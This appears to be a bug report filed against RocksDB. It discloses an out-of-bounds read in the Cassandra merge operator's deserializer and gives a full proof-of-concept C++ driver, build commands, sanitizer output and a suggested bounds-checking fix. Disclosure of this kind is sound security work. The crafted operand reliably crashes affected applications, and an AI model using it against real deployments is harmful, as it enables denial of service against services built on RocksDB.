[BUG] Crash / OOB read in CassandraValueMergeOperator when a merge operand is malformed (format.cc deserialization has no bounds checks)
Summary
In RocksDB main (91b96f41cf90cecb12330ccec6bc6b50145abd28) the bundled
CassandraValueMergeOperator parses merge-operand bytes (RowValue::Deserialize,
utilities/cassandra/format.cc) with no boundary validation -- the only checks
on the whole path are assert()s, which are compiled out in release builds. A
malformed merge operand whose column value_size field is 0x7fffffff makes the
later serialization step dest->append(value_, 0x7fffffff) read ~2 GiB from a
30-byte heap buffer, crashing the process.
The operand bytes are ordinary DB values (written through the public
db->Merge() API / application data) -- no file corruption, no special
configuration, and reachable from Get, flush and compaction.
Verified on a Linux build at that commit:
- ASan:
ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 2147483647atRowValue::Serializeutilities/cassandra/format.cc:219(called fromFullMergeV2utilities/cassandra/merge_operator.cc:54, up the chaindb/version_set_sync_and_async.h:206). - Release
-O2:SIGSEGV(rc=139). - Control: a well-formed 30-byte row parses and merges cleanly (exit 0).
Root cause
utilities/cassandra/format.cc:
RowValue::Deserializereads a 12-byte header with onlyassert(size >= ...);- the column loop advances
offset += c->Size()with onlyassert(offset <= size); ColumnBase::Deserializeaccepts the signedint32 value_sizeverbatim;RowValue::Serializethen doesdest->append(value_, value_size_)with that unvalidated length.
All of these disappear under NDEBUG.
Reproduction (end-to-end, self-contained)
A standalone driver that links against any normal RocksDB build (the
Cassandra merge operator ships in the default build, utilities/cassandra/):
// poc_c2.cc
#include <cstdio>
#include <memory>
#include <string>
#include "rocksdb/db.h"
#include "utilities/cassandra/merge_operator.h"
using namespace ROCKSDB_NAMESPACE;
int main() {
std::string dbpath = "/tmp/rocksdb_c2";
system("rm -rf /tmp/rocksdb_c2");
Options options;
options.create_if_missing = true;
options.merge_operator.reset(
new cassandra::CassandraValueMergeOperator(1000));
std::unique_ptr<DB> db;
DB::Open(options, dbpath, &db);
// Malformed cassandra row: 12-byte header + one column whose
// value_size = 0x7fffffff.
std::string operand(12, '\0'); // row header
operand.append(1, '\x00'); // mask: plain column
operand.append(1, '\x02'); // column index
operand.append("\x00\x00\x00\x00\x00\x00\x00\x05", 8); // timestamp
operand.append("\x7f\xff\xff\xff", 4); // value_size = 2 GiB - 1
operand.append("abcd"); // 4 bytes of value
db->Merge(WriteOptions(), "poc_key", operand); // public API
std::string got;
db->Get(ReadOptions(), "poc_key", &got); // triggers FullMergeV2
printf("get: %s\n", got.c_str());
return 0;
}Build (drives the whole failure through the public DB API):
# 1. build rocksdb with sanitizers (ASan+UBSan) and in Release:
# cmake -DCMAKE_BUILD_TYPE=Release .. && cmake --build . -j # release
# cmake -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined" .. \
# && cmake --build . -j # ASan+UBSan
# 2. compile the driver against the appropriate build (both verified):
# Release:
g++ -std=gnu++20 -g -O1 -I. -Iinclude poc_c2.cc -o poc_c2 \
-L BUILD_RELEASE -lrocksdb -lz -lpthread -ldl
# ASan+UBSan (any compiler; flags must match the library's sanitizers):
clang++ -std=gnu++20 -g -O1 -fsanitize=address,undefined \
-fno-omit-frame-pointer -I. -Iinclude poc_c2.cc -o poc_c2_asan \
-L BUILD_ASAN -lrocksdb -lz -lpthread -ldlRun:
# ASan build:
./poc_c2 # -> ASan: heap-buffer-overflow, READ of size 2147483647
# #4 RowValue::Serialize utilities/cassandra/format.cc:219
# Release build:
./poc_c2 # -> Segmentation fault (core dumped), rc=139
# Control (replace operand with a well-formed row: value_size = 4, "abcd"):
# -> clean exit, Get returns the merged value.Observed matrix (this run, commit 91b96f41):
| build | operand | result |
|---|---|---|
| ASan | value_size=0x7fffffff | heap-buffer-overflow READ size 2147483647 @ format.cc:219 |
| Release | value_size=0x7fffffff | SIGSEGV rc=139 |
| ASan | well-formed 30-byte row | clean, Get OK |
Impact
Any application using the documented Cassandra merge operator can be crashed
by a malformed value (out-of-bounds reads from a few bytes up to ~2 GiB on
every Get/flush/compaction of the affected key). The malformed bytes are
ordinary application data, so an import/sync/replication path that writes
unvalidated rows is sufficient to trigger it. If you consider valid-cassandra-
row input a documented contract, this is still worth a hardening pass: a
deserializer that runs off the buffer on malformed input is a robustness bug
regardless of the contract.
Suggested fix
Replace the assert()-only validation with a real bounds-checked cursor in
RowValue::Deserialize / ColumnBase::Deserialize (return
Status::Corruption on truncation) and reject negative / oversized
value_size when constructing columns — the same defensive parsing pattern
RocksDB already uses for its internal Slice formats (GetVarint32,
GetLengthPrefixedSlice).
Source: facebook/rocksdb